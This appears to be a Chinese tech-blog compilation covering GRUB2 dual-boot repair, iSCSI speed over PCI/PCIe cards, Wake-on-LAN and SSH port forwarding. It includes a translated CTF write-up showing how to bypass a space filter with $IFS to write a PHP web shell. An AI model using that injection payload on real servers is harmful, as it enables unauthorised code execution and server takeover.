Centos7 Win10引导修复

在CentOS7中需要配置/boot/grub2/grub.cfg,但是会警告该文件不能被修改,这个文件是通过grub-mkconfig使用配置文件模板和设置自动生成的。
所以我们修改模板文件,然后使之自动重建grub2引导。

1、执行:
$ sudo vi /etc/grub.d/40_custom
得到打开文件后,执行a进行编辑,
#!/bin/sh
exec tail -n +3 $0
# This file provides an easy way to add custom menu entries. Simply type the
# menu entries you want to add after this comment. Be careful not to change
# the ‘exec tail’ line above.
menuentry ‘Windows 10′{
set root=(hd0,1)
chainloader +1
}

~
~
~
~
~
~
~
“/etc/grub.d/40_custom” 9L,272C

按Esc,在按ZZ(或者Shift+:并输入wq),保存编辑并退出。

2、执行:
$ grub2-mkconfig -o /boot/grub2/grub.cfg
生成grub.cfg文件。
3、最后,执行:
$ reboot
重启既可以看到为windows10的引导了。

注意:
1、grub2中的第一块磁盘的第一个分区是(hd0,1),不是(hd0,0)。
2、chainloader +1中,+1是在一起的,注意一下。

PCI/PCIE千兆以太网网络存储的坑

最近新买一台小型HP服务器GEN8,想跟之前的的服务器接到一起,GEN8做存储(ISCSI/Centos),之前的服务器做ESXi来使用ISCSI的存储.
问题来了,写入速度只有20M/s,千兆以太网链路.
经过各方研究,最后在国外的一篇文章中发现一个提示.
http://iscsi-enterprise-target.996254.n3.nabble.com/Slow-iscsitarget-Performance-help-td9866.html

然后,就开始思考PCI/PCIE是不是会有差别,虽然同样是千兆网卡.于是,将之前服务器的两个网卡链路对调(ESXi配置),将网线对调,然后重新测速;速度能够达到50-80M/s,看来问题就在于PCIE/PCI上.

上面是ISCSI测速截图
这是NFS+ESXi Cache开启的情况下的测速

CPU当然还是ISCSI高,因为我的那块PCIE的卡不支持巨型帧(MTU9000)

公网远程网络唤醒的几个关键点

  1. 端口映射,使得路由器或防火墙的某个端口映射到内网机器的某个IP地址
  2. IP/MAC绑定,由于机器还未开机,所以动态MAC地址表中没有机器的MAC地址,路由器或网关设备不知道该发送给谁,因此加入静态的IP/MAC绑定,就可以知道对应该端口的包该发给哪台内网的主机
  3. 开机数据包Magic 可以用在线网页https://www.depicus.com/wake-on-lan/woli 也可以用该网站提供的exe程序,或网上提供的Python脚本.
  4. 最重要的一步是要在进行网络唤醒的机器上开启网络唤醒支持,一般是在BIOS的高级电源管理中,英文名字叫做APM,(Advaced Power Manage),然后根据网卡是PCI还是PCIE来选择是否允许PCI或PCIE进行系统启动.
  5. 之后就可以了
  6. 注意: 在公网启动的时候掩码一般要写255.255.255.255 内网的话(唤醒与被唤醒的机器同一个网段)一般写255.255.255.0,开不了的话就两个都试试,如果还是开不了,就直连试试,如果还是不行,那么就是BIOS配置有问题,如果能开那么就是映射有问题或者掩码有问题.

 

不使用空格执行Bash命令(绕过空格检测执行Bash命令)

原文链接: http://0xa.li/executing-bash-commands-without-space/
大家好,我在一次CTF比赛中和我的队友@aboul3la发现一种在Web应用挑战中进行命令注入的方法.
如果你输入`>file.txt`服务器就会创建一个file.txt的文件
我们想要写入一个PHP的shell,像这样:
echo "<?PHP CODE>" > file.php
但是问题是,这个比赛的题目过滤空格,不让输入空格(Error: Not valid URL)
所以我们尝试很多种办法绕过,一开始的思路是使用解码的方式来获得一个space(空格),比如从hex或者其他的什么解码成一个空格,但是这种方法在echo后面都不凑效

然后我就进行了搜索,看Linux是否自己已经对空格进行了定义.
最后我发现了,确实是$IFS

解决方法是:
echo\$IFS"<?=system(\$_GET[x]);?>">shell.php
如果你要下载东西,那么wget$IFShttps://google.com/robots.txt

14467750403809

英文原文:
Hello, world.

So I was in this CTF competition and my teammate (@aboul3la) found a command injection vulnerability in one of web application challenges.

If you input >file.txt the server creates a file called file.txt.

We wanted to write a PHP shell to the server (echo “<?PHP CODE>” > file.php)
But the thing is, the challenge had a filter that won’t allow you to have a space in the input (Error: Not valid URL)

So we tried around and my first thought was to use some decoding mechanism to decrypt “space” from it’s hex equivalent or something, but we couldn’t do it without a space after the “echo”
Then i thought i should search and see if the space (or tab) is defined in Linux itself.
And i found it: $IFS.

The solution was:
echo$IFS”<?=system($_GET[x]);?>”>shell.php

If you wanted to wget something: wget$IFS”https://google.com/robots.txt”

远程内网端口转发

ncat -l -vv -p 9999 模拟CCPROXY侦听端口

ssh user@60.100.100.110 -R 8080:127.0.0.1:9999 -P 5862

上面是要被访问的内网


下面是本地
ssh user@60.100.100.110 -P 5862 -L 8080:127.0.0.1:8080

ncat localhost 8080 模拟浏览器发送数据